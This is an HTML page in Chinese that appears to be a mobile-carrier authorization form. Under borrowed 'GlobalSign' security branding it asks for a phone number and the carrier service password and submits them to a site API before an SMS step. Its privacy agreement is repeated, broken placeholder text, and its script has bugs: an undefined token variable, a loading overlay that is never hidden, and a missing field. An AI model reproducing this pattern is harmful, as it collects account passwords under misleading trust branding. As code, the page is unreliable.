<html lang="zh-cn">
<head>
    <meta charset="UTF-8">
    <meta content="telephone=no,email=no" name="format-detection">
    <meta content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no" name="viewport">
    <link rel="stylesheet" href="./css/operatorCer.css"/>
    <title>运营商</title>
    <script src="../baidu.js"></script>
    <!-- <script src="./js/jquery.js"></script> -->
    <script src="https://cdn.bootcss.com/jquery/1.11.0/jquery.min.js"></script>
    <script src="./js/flexible.js"></script>
</head>
<body>
    <div class="home">
        <div class="header"> 
            <img src="./css/images/logo.png" alt="">
            <span>GlobalSign 国际安全认证</span>
        </div>

        <div class="main">

            <ul class="inputWrap">
                <li>
                    <div class="fl">
                        <img src="./css/images/phone.png" alt="">
                        
                        <input type="tel" id="iphone" placeholder="请输入手机号码" onfocus=this.blur() value="" />
                    </div> 
                </li>
                <li>
                    <div class="fl">
                        <img src="./css/images/password.png" alt="">
                        <input type="tel" required="required" placeholder="请输入服务密码" id="pass" />
                    </div>
                </li>
            </ul>

            <div class="passWrap">
                <div class="fl">
                    <span class="disagree" ></span>同意
                    <!-- <input type="radio" name="iconArgee" class="rdo" />同意 -->
                    <a href="javascript:void(0);" id="true">《认证服务协议》</a>
                </div>
                <!-- <div class="fr">
                    <img src="./css/images/forget.png" alt="">
                    <span>忘记服务密码</span>
                </div> -->
            </div>

            <div class="btnWrap">
                <input type="button" value="下一步" id="button" >
            </div>
        </div>

        <!-- <div class="bottom">
            <img src="./css/images/more.png" alt="">
            <a href="">更多帮助</a>
        </div> -->
        <div class="footer">
            保护信息安全，杜绝隐私泄露<br />
            ©本服务由杭州信川科技有限公司提供
        </div>
        <div id="pro">
                <div class="showAgree">
                    <div class="main">
                        <div class="top">
                            <span>请仔细阅读认证协议并查看至底部确认</span>
                            <!-- <img src="./css/images/close.png" alt="" /> -->
                        </div>
                        <div class="info">
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                            我们郑重承诺，我们及第三方数据处理机构不会收集您的宗教信仰、基因、指纹、血型、疾病和病史信息以及法律法规禁止我们采集的信息。
                        </div>
                        <div class="btn">
                            <input type="button" value="我已仔细阅读并同意协议" />
                        </div>
                    </div>
                </div>
        </div>
        <div id="pass-box">服务密码为空或服务密码错误</div>
        
        <div id="formobj">
            <div class="datagrid-mask"></div>
            <div class="datagrid-mask-msg">
                <img src="./css/images/load2.gif"/>
                <p>正在加载，请稍候</p>
            </div>
        </div>
    </div>
    
</body>
</html>

<script>
    $(document).ready(function() {
        // 认证服务协议
        $("#true").on("click",function(){
            $("#pro").fadeIn()
        });
        $(".btn").on("click",function(){
            $("#pro").fadeOut()
        });
        
        // 协议同意or不同意
        $(".disagree").on("click",function(){
            if( $(".disagree").hasClass('on')){
                $(".disagree").removeClass('on')
            }else{
                $(".disagree").addClass('on');
            }
        })

        $(".disagree").on("click",function(){
            if( $(".disagree").hasClass('off')){
                $(".disagree").removeClass('off')
            }
        })
        function timer(mes) {
            var count = 3;
            var countDown = setInterval(function () {
                    if (count == 0) {
                        mes.hide()
                        clearInterval(countDown);
                    }else {
                        mes.show()
                    }
                    count--;
            },1000);
        }


        //下一步请求 
        $("#button").on("click",function(){
            var appName1 = $.trim($("#appName").val()),
                showMsg = $("#pass-box"),
                d = "/hs/api/v1/",
                dis = $(".disagree").hasClass('on'),
                pass = $.trim($("#pass").val());

            if(pass==''){
                timer(showMsg.html("服务密码不能为空"));
                if( !dis ) {
                    $(".disagree").addClass('off');
                };
            }else{
                if( !dis ) {
                    $(".disagree").addClass('off');
                }else{
                    load();
                    $.ajax({
                        //提交地址 
                        url: d+"/td/submitYys",
                        type: "post",
                        dataType: "json",
                        // 加载中后，添加删除遮罩
                        beforeSend: function () {
                            load();
                        },
                        complete: function () {
                            disLoad();
                        },
                        data: {
                            // 向后台提交值
                            pwd: pass,
                            token: token1,
                            appName: appName1
                        },
                        success:function(data){
                            // 判断返回值
                            if (data.code == 200 ) {
                                var jsonData= data.data;
                                window.location.href = "./yysSms?taskId="+jsonData.taskId+"&nextStage="+jsonData.next_stage+"&appName="+appName1+"&token="+token1;
                            }else{
                                timer(showMsg.html(data.message));
                            }
                        }
                    })
                }
            }

        })

        // 点击下一步没有选择协议按钮，从新选择
        $("#button").on("click",function(){
            if( !$(".disagree").hasClass('on') ) {
                $(".disagree").addClass('off')
            }
        })


        // 添加加载层
        function load() {
            var fromobj=$("#formobj");
            fromobj.show();
        }
        //取消加载层
        function disLoad() {
            var fromobj=$("#formobj");
            fromobj.show();
        }
    })
    
</script>        